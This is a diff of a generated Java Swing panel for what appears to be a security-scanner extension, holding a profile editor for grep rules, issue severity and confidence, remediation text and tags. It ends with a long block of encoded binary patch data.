.addComponent(rb1) + .addComponent(jLabel6)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb2) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(rb4) + .addGap(18, 18, 18) + .addGroup(jPanel11Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel2) + .addComponent(sp1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + jPanel11Layout.linkSize(javax.swing.SwingConstants.VERTICAL, new java.awt.Component[] {button10, button18, button19, button7, button8}); + + JScrollPane responseresScroll = new JScrollPane(jPanel11, + JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); + + jScrollPane6.setViewportView(jPanel11); + + headerstab.addTab(" Response ", jScrollPane6); + + jScrollPane10.getVerticalScrollBar().setUnitIncrement(20); + + jPanel12.setAutoscrolls(true); + + jLabel32.setText("You can define the issue properties."); + + jLabel33.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel33.setForeground(new java.awt.Color(255, 102, 51)); + jLabel33.setText("Issue Properties"); + + jLabel3.setText("Issue Name:"); + + jLabel4.setText("Severity:"); + + buttonGroup5.add(radio5); + radio5.setText("High"); + + buttonGroup5.add(radio6); + radio6.setText("Medium"); + + buttonGroup5.add(radio7); + radio7.setText("Low"); + + buttonGroup5.add(radio8); + radio8.setText("Information"); + + jLabel7.setText("Confidence:"); + + buttonGroup6.add(radio9); + radio9.setText("Certain"); + + buttonGroup6.add(radio10); + radio10.setText("Firm"); + + buttonGroup6.add(radio11); + radio11.setText("Tentative"); + + jLabel34.setText("You can define the issue details."); + + jLabel35.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel35.setForeground(new java.awt.Color(255, 102, 51)); + jLabel35.setText("Issue Detail"); + + textarea2.setColumns(20); + textarea2.setRows(5); + jScrollPane7.setViewportView(textarea2); + + jLabel13.setText("Description:"); + + jLabel36.setText("You can define the issue background."); + + jLabel37.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel37.setForeground(new java.awt.Color(255, 102, 51)); + jLabel37.setText("Issue Background"); + + jLabel38.setText("You can define the remediation detail."); + + jLabel39.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel39.setForeground(new java.awt.Color(255, 102, 51)); + jLabel39.setText("Remediation Detail"); + + textarea1.setColumns(20); + textarea1.setRows(5); + jScrollPane1.setViewportView(textarea1); + + jLabel9.setText("Description:"); + + textarea3.setColumns(20); + textarea3.setRows(5); + jScrollPane8.setViewportView(textarea3); + + jLabel14.setText("Description:"); + + jLabel40.setText("You can define the remediation background."); + + jLabel41.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel41.setForeground(new java.awt.Color(255, 102, 51)); + jLabel41.setText("Remediation Background"); + + textarea4.setColumns(20); + textarea4.setRows(5); + jScrollPane9.setViewportView(textarea4); + + jLabel15.setText("Description:"); + + javax.swing.GroupLayout jPanel12Layout = new javax.swing.GroupLayout(jPanel12); + jPanel12.setLayout(jPanel12Layout); + jPanel12Layout.setHorizontalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jSeparator7) + .addComponent(jSeparator8, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator9, javax.swing.GroupLayout.Alignment.TRAILING) + .addComponent(jSeparator10, javax.swing.GroupLayout.Alignment.TRAILING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel33) + .addComponent(jLabel35) + .addComponent(jLabel34) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel13) + .addGap(18, 18, 18) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel9) + .addGap(18, 18, 18) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel15) + .addGap(18, 18, 18) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel14) + .addGap(18, 18, 18) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, 612, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addComponent(jLabel37) + .addComponent(jLabel36) + .addComponent(jLabel39) + .addComponent(jLabel38) + .addComponent(jLabel32) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel3) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(jLabel4, javax.swing.GroupLayout.PREFERRED_SIZE, 73, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addComponent(radio8) + .addGap(189, 189, 189)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio6) + .addComponent(radio7) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(jLabel7) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(radio9) + .addComponent(radio11) + .addComponent(radio10))))) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, 419, javax.swing.GroupLayout.PREFERRED_SIZE))))) + .addComponent(jLabel41) + .addComponent(jLabel40)) + .addContainerGap(93, Short.MAX_VALUE)) + ); + jPanel12Layout.setVerticalGroup( + jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel33) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel32) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel3) + .addComponent(text4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel7) + .addComponent(radio9)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio11)) + .addGroup(jPanel12Layout.createSequentialGroup() + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(jLabel4) + .addComponent(radio5)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(radio8))) + .addGap(18, 18, 18) + .addComponent(jSeparator7, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel35) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel34) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel9) + .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator8, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel37) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel36) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel13) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator9, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel39) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel38) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel15) + .addComponent(jScrollPane9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addGap(18, 18, 18) + .addComponent(jSeparator10, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel41) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel40) + .addGap(25, 25, 25) + .addGroup(jPanel12Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel14) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + jScrollPane10.setViewportView(jPanel12); + + headerstab.addTab(" Issue ", jScrollPane10); + + removetag.setText("Remove"); + removetag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + removetag(evt); + } + }); + + addTag.setText("Add"); + addTag.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + addTag(evt); + } + }); + + listtag.setModel(tag); + jScrollPane11.setViewportView(listtag); + + jLabel46.setText("You can define one or multiple tags for this profile."); + + jLabel47.setFont(new java.awt.Font("Lucida Grande", 1, 14)); // NOI18N + jLabel47.setForeground(new java.awt.Color(255, 102, 51)); + jLabel47.setText("Set Tags"); + + newTagb.setText("New Tag"); + newTagb.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + newTagbnewTag(evt); + } + }); + + javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3); + jPanel3.setLayout(jPanel3Layout); + jPanel3Layout.setHorizontalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel47) + .addComponent(jLabel46) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(newTagb, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addComponent(addTag, javax.swing.GroupLayout.PREFERRED_SIZE, 93, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(removetag, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) + .addComponent(jScrollPane11) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, 468, javax.swing.GroupLayout.PREFERRED_SIZE)))) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel3Layout.setVerticalGroup( + jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel3Layout.createSequentialGroup() + .addGap(10, 10, 10) + .addComponent(jLabel47) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jLabel46) + .addGap(25, 25, 25) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jScrollPane11, javax.swing.GroupLayout.PREFERRED_SIZE, 99, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGroup(jPanel3Layout.createSequentialGroup() + .addComponent(newTagb) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(removetag))) + .addGap(18, 18, 18) + .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(newTagCombo, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(addTag)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + headerstab.addTab(" Tags ", jPanel3); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this); + this.setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(text1) + .addGap(18, 18, 18) + .addComponent(jLabel18) + .addGap(18, 18, 18) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, 223, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + .addComponent(headerstab, javax.swing.GroupLayout.DEFAULT_SIZE, 800, Short.MAX_VALUE) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(text1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel12) + .addComponent(textauthor, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel18)) + .addGap(18, 18, 18) + .addComponent(headerstab, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)) + ); + }// //GEN-END:initComponents + + private void button10removeAllGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button10removeAllGrep + int rowCount = modelgrep.getRowCount(); + for (int i = rowCount - 1; i >= 0; i--) { + modelgrep.removeRow(i); + } + }//GEN-LAST:event_button10removeAllGrep + + private void radio4stringMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio4stringMatchType + + }//GEN-LAST:event_radio4stringMatchType + + private void radio3regexMatchType(java.awt.event.ItemEvent evt) {//GEN-FIRST:event_radio3regexMatchType + + }//GEN-LAST:event_radio3regexMatchType + + private void removetag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_removetag + int selectedIndex = listtag.getSelectedIndex(); + if (selectedIndex != -1) { + tag.remove(selectedIndex); + } + }//GEN-LAST:event_removetag + + private void addTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addTag + tag.addElement(newTagCombo.getSelectedItem()); + }//GEN-LAST:event_addTag + + private void newTagbnewTag(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_newTagbnewTag + Integer result; + NewTag nt = new NewTag(); + JOptionPane jopane1 = new JOptionPane(nt, JOptionPane.PLAIN_MESSAGE, JOptionPane.OK_CANCEL_OPTION); + JDialog dialog = jopane1.createDialog(this, "New Tag"); + dialog.setLocationRelativeTo(null); + dialog.setVisible(true); + Object selectedValue = jopane1.getValue(); + + if (selectedValue != null) { + result = ((Integer) selectedValue).intValue(); + + if (result == JOptionPane.OK_OPTION) { + addNewTag(nt.newTagtext.getText()); + showTags(); + } + } + }//GEN-LAST:event_newTagbnewTag + + private void headerstabStateChanged(javax.swing.event.ChangeEvent evt) {//GEN-FIRST:event_headerstabStateChanged + int activePane = headerstab.getSelectedIndex(); + if (activePane == 3) { + showTags(); + } + }//GEN-LAST:event_headerstabStateChanged + + private void addGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_addGrep + + modelgrep.addRow(new Object[]{true, "Or", "Value"}); + + }//GEN-LAST:event_addGrep + + private void button18removeMatchReplace(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button18removeMatchReplace + int[] rows = table4.getSelectedRows(); + Arrays.sort(rows); + for (int i = rows.length - 1; i >= 0; i--) { + int row = rows[i]; + int modelRow = table4.convertRowIndexToModel(row); + modelgrep.removeRow(modelRow); + } + }//GEN-LAST:event_button18removeMatchReplace + + private void button8loadGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button8loadGrep + loadGrepsFile(modelgrep); + }//GEN-LAST:event_button8loadGrep + + private void button7pasteGrep(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_button7pasteGrep + String element = getClipboardContents(); + List lines = Arrays.asList(element.split("\n")); + showGreps(lines); + }//GEN-LAST:event_button7pasteGrep + + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton addTag; + private javax.swing.JButton button10; + private javax.swing.JButton button18; + private javax.swing.JButton button19; + private javax.swing.JButton button7; + private javax.swing.JButton button8; + private javax.swing.ButtonGroup buttonGroup1; + private javax.swing.ButtonGroup buttonGroup2; + private javax.swing.ButtonGroup buttonGroup3; + private javax.swing.ButtonGroup buttonGroup4; + private javax.swing.ButtonGroup buttonGroup5; + private javax.swing.ButtonGroup buttonGroup6; + public javax.swing.JCheckBox check1; + public javax.swing.JCheckBox check4; + public javax.swing.JCheckBox check71; + public javax.swing.JCheckBox check72; + public javax.swing.JCheckBox excludehttp; + public javax.swing.JTabbedPane headerstab; + private javax.swing.JLabel jLabel1; + private javax.swing.JLabel jLabel12; + private javax.swing.JLabel jLabel13; + private javax.swing.JLabel jLabel14; + private javax.swing.JLabel jLabel15; + private javax.swing.JLabel jLabel18; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel24; + private javax.swing.JLabel jLabel25; + private javax.swing.JLabel jLabel28; + private javax.swing.JLabel jLabel29; + private javax.swing.JLabel jLabel3; + private javax.swing.JLabel jLabel30; + private javax.swing.JLabel jLabel31; + private javax.swing.JLabel jLabel32; + private javax.swing.JLabel jLabel33; + private javax.swing.JLabel jLabel34; + private javax.swing.JLabel jLabel35; + private javax.swing.JLabel jLabel36; + private javax.swing.JLabel jLabel37; + private javax.swing.JLabel jLabel38; + private javax.swing.JLabel jLabel39; + private javax.swing.JLabel jLabel4; + private javax.swing.JLabel jLabel40; + private javax.swing.JLabel jLabel41; + private javax.swing.JLabel jLabel46; + private javax.swing.JLabel jLabel47; + private javax.swing.JLabel jLabel6; + private javax.swing.JLabel jLabel7; + private javax.swing.JLabel jLabel9; + private javax.swing.JPanel jPanel11; + private javax.swing.JPanel jPanel12; + private javax.swing.JPanel jPanel3; + private javax.swing.JScrollPane jScrollPane1; + private javax.swing.JScrollPane jScrollPane10; + private javax.swing.JScrollPane jScrollPane11; + private javax.swing.JScrollPane jScrollPane14; + private javax.swing.JScrollPane jScrollPane6; + private javax.swing.JScrollPane jScrollPane7; + private javax.swing.JScrollPane jScrollPane8; + private javax.swing.JScrollPane jScrollPane9; + private javax.swing.JSeparator jSeparator10; + private javax.swing.JSeparator jSeparator5; + private javax.swing.JSeparator jSeparator6; + private javax.swing.JSeparator jSeparator7; + private javax.swing.JSeparator jSeparator8; + private javax.swing.JSeparator jSeparator9; + public javax.swing.JList listtag; + public javax.swing.JCheckBox negativeCT; + public javax.swing.JCheckBox negativeRC; + public javax.swing.JComboBox newTagCombo; + private javax.swing.JButton newTagb; + public javax.swing.JCheckBox onlyhttp; + public javax.swing.JRadioButton radio10; + public javax.swing.JRadioButton radio11; + public javax.swing.JRadioButton radio3; + public javax.swing.JRadioButton radio4; + public javax.swing.JRadioButton radio5; + public javax.swing.JRadioButton radio6; + public javax.swing.JRadioButton radio7; + public javax.swing.JRadioButton radio8; + public javax.swing.JRadioButton radio9; + public javax.swing.JRadioButton rb1; + public javax.swing.JRadioButton rb2; + public javax.swing.JRadioButton rb3; + public javax.swing.JRadioButton rb4; + private javax.swing.JButton removetag; + public javax.swing.JSpinner sp1; + public javax.swing.JTable table4; + public javax.swing.JTextField text1; + public javax.swing.JTextField text4; + public javax.swing.JTextField text71; + public javax.swing.JTextField text72; + public javax.swing.JTextArea textarea1; + public javax.swing.JTextArea textarea2; + public javax.swing.JTextArea textarea3; + public javax.swing.JTextArea textarea4; + public javax.swing.JTextField textauthor; + public javax.swing.JTextField textgreps; + // End of variables declaration//GEN-END:variables +}

%wYpzrJd4YwjngM}(n_4# zdb@9erN#MLt|$50ePhUQV=N=0y~{A%&+p~5a%X3!xbKDi>N;>|(%-@$L3z?^XhLnN+mvg{TQw z!+|v0x&5%Rix9PC>oNPd^cz&)E{*kn+$30pe7|93~hMTt;sA^1>|>;!Z!`MaHao?gY8oBF(hjV z1UFFL}hxt@W}$3ctrywcXa3 zGztz?G9SnX-`V}S#iGRStdr8{i486%hZlkbgO%nQN?kUqJ>9^0SK@L@@c?w9_G2gk z#U`6hGn6FJppccq3jl{LUh~5J|7wL#zh?DuCg=xfY?t5 za;=KPbw8&8_?>hZzSGKz(ag7i;Oy2J;E$x9;dy&GKUW`C=y829cNAm=>C=bSXACRx zqaMZNzZ#t0xx>Y{^y*FneTX-O1!Jb9{lMoaEWZV#P(|MfRLxxel~&z@mWz4s8sDa^ z8g}93X6?kr&F$U+mC3cM;fq)wd39{rw8P|Gnd&I~K}0-Ob`072SeMJCPmCi;jB~L| zZSMw?1x@16Tfc+Uvyw7MpW@A^K7L_Bc4k{?GTNijeurs+DT1Ymb|>lHe4i5-hVE&b zx!M@c8XZ2r+-qV4a`f{K2q!@EaZ6s5a7fVwUU2urA$`uz#qS*@fS*c;fPt^r5KdV&LOpY{(Om zv-<1PX)dZs#zdVv25^VmJC~9C9?;!vHxia>eZy9VLV5~F#jjVs#6e~$HO@ekj`9S- z*HK0bMJhx*Y;&9tR18-BY++!WtQJ(w$=my9BKzQ2#6e&@fh{yyq90%a3rBtCzTbk_ zBTI0|cSk>rgmw3Qy-xonR;T<4Ow#dx(&(^hFS6VK-FxMxo_*syTsRVselt~lFiNk;}V^(L9F6A)O1b@R>kB_!lq(h^v@O|Aa zVFYnlJW&e+nMB*sR?A&9taO)-%OrFH$=*lyZ9kkBs8I`F1wWqZJ;h^Z$N#Z}@ZK2B z$dP1Z0l{yBnPcWEA4B%YDi&cx2H0L*u`Ka??zIaru;y(bCZVX9z_=}TeEgI_Y>>-X zFbDKmE{zPsW_X-91SI!Cmxi;YPt@vyKl@mNFj~#8zD&YK3_EoIYvG-L)-p)l1FOuK z^lE~$fY(PS)EZHmity^dO4lK_wu9s1u$OT(R;0o08k1B`BsW-|H5C5X-lQ|!IX`_3 zKTdK-hw)>8IMQx)2hGIEkF$$Hdus6}GviAh|GF{=`h2$P3rU_;Q|w1jNh!;Bo_;tkS5>HMNh5*3P^M^=mOSRCo^Bu@4t~F>?a~MV~moq&H}0r8m3yj-gPDA2Eo# zxb~j9F=#E-o-VzdxNn^8djD;VO7ggJEG`K;>jd>R<3!X3h3wr@G+Dt--vPg>4 zQY{bM@nx0=P=<`_)t3=%FwCE_zQ)gUK3qAV=)j>jTfXzjoHui_>Tf=vrl3rz2GJJi zp1k@7h4_ODSANLe3DQwclX;*!fqD5tQ}&9pYFwEv(pwGM?-|dEpzk~&d3!=Ip5qqU zt6WhV$G3+7E+iF|4)=yW&iFkISx0pJW<+RT`ea$W6)_bwAgns|ALF4jBXzzOsO$-} z`PG-8vcutU%#a+9_!rqe>^_FSB+vdx>a{SDTfwp(u)&YdxHOia_ zM3X7GrG+tZjdUcXzxwlHXvhW&5pPD z6DTv^Fw`VWSJ05(!fP9DUM!AN|L#d@(Vvgw)>r zM6TaoBB@{|i>}oVtWWS|@>)F}%>PZ+a?K}zMMw^U#u7$e3*Mt9E*6AcvC(bBqurft z+N8j*6wAx{cGWR_Gx$`OOL$!Ha!Y&Vz17I%rVd;P6OS?cX7MAEpsCsVM0kV^Ii>il zOBi}a!sUSJv!jl07WEe&Wt$=&ET|#{5x_}m^1ExrxUH_(nRnnYnX$|}uM<_g_*i6W zm3#}I#qwIVj>kRY*Xnv+!^WbhAT@7xmf#mje(jX#Jz*r9Ww3-ll@2z}rA*qlR9L1U z?zEPL@_7s#nsAI^hDY7jSBB|xQd$}uxbj_$6*(2jkwfDm8I@N-VTph*{1hQJZ~kNv z`h@=(9;4Pt&2Z5R@jr~vrxQm($3c3`&1p9gN^xtV;*n7JWMYRq#v(z)GNaoiMS*E& zN!VC>M9i;H&nw}A`d%uHP%=xcsjsi)BnbNH-v3rx@5~1nz?-RFof6m}(@vy4ly|Gaa{$>KTIY$}J{Slx2gyl7iIFPIG@`7Afbm zz4;mUM>!8>pPS~a*VFkcoC`grS_ECE)X?@MT(!=n7F|-@SzKKFE;?``G!Fze30%~& z$d!%C#z)L=0EH-DBiJsn0hvQi`^`v2kQptA$BH~mb*6)Z*Fj=g#79S?fzN1m5|P>l zJ9#9l7!t_%7$V5X$fm})|H|q7dtb~6EJ5z)H{+VFEMT7-E6^~!+gb)pP?zg`L?Es! zSr*CU#jqf#&jHCG9VnMDy2wd)nCu1w`ttC`KsrkB1?3=50b1$~56-eBQ00B_klR+j ze^ChTh^E(&Ff(&fgTT4w(`i=AC3@aC*Ek<#wzs#xoRRyuRstzZ=wN=VIshnnkV<>I zjF?zh^_de$J@+alkkXL`C&Y7Dr}A7M4|l_5fWmb9A!D1tlh^Sm5Zo#HQ6d1KDSRCr z*Y>2xW6%r(hUBR0Frb3jfNcqsCr2)QPh-`k>YN8Gbrdy`Rxz7|fZamTeGKHBzOWk0 zN6Lo;y|tx#`HH_J`Uc1XhXWL;!WO@IQ?{JvV6G=jBWJv}0duMUtJilYa94qSJMGMmhIG_1r@R3>%%d*4)82=H zW-kwRz)=AQ95R6kG-UPn=#N-l9*+=jvx6w{vUEgjEEU+#7!6{Y5Jw zz&Ka$Tt8~h#>aK z`1@b}LIntP1b~sK<<7teP&Q0yoSGaJ?h+53mkZ_pkJ3Fs`Wma=m9B6laM6sXEfsN2 zFwhlB90O8Q;@&XuBU!G$c5Mz<#4XvnLWm+jKSS+Q{<}MGj!DWD6Q8NsHN^K_lDqPL zGo+9qu1knR8n zaVy}VdoYC_c6!`xnY3=*A&Kkqx#163uJF>De zky!`u<}el>Of%*{yUEwAkyp-FO+ky*{eJcR`M@_odKH~zP6nMbPb{-LiT%=+IzG_~ z!c29Hzj2j*(HEFwFU8g2IE@JU{Yl{1yb}XRwBO}?gYC_45xfc2pBjn&SVu|%ak^$X zqTTm+Z{#pBIClT@d?NjBA7#OXx4?3zppLgPYX5xS zcWIz8>(ruRJcj0-MO@r%_J%ddMbmXy<*oo(5*K@HR$`!}DF|U5iVz#EXFlPwP`~xp zyGlW4TJb-{P!~lSp5kP#2ocXZv$zz9vAjNEPh_5j4%pDyIcCnxNqOy)_d3lVL*^7U z1xbjIH4~D&FK`HG`rHYzR5VqBY^pn*-`4NeCieZ?+JHet`b}#CS<3104G8^3h_u`= zSY(celiP5#l*7R>&ESA(ugD?@WTLSr9CT{?HX-cvL>8%5#h<4@tn2@3@2sP$>f1N3 z2-2wn(uhc>NQtB%(xJ43fC5T~G}4_?0sDz%pdc| zteN>^T#MyetaCW$?6dcG-}iNYuIu~Tdzqi%N9H{Rr=Obx0}?+7bElO;L`uB)o 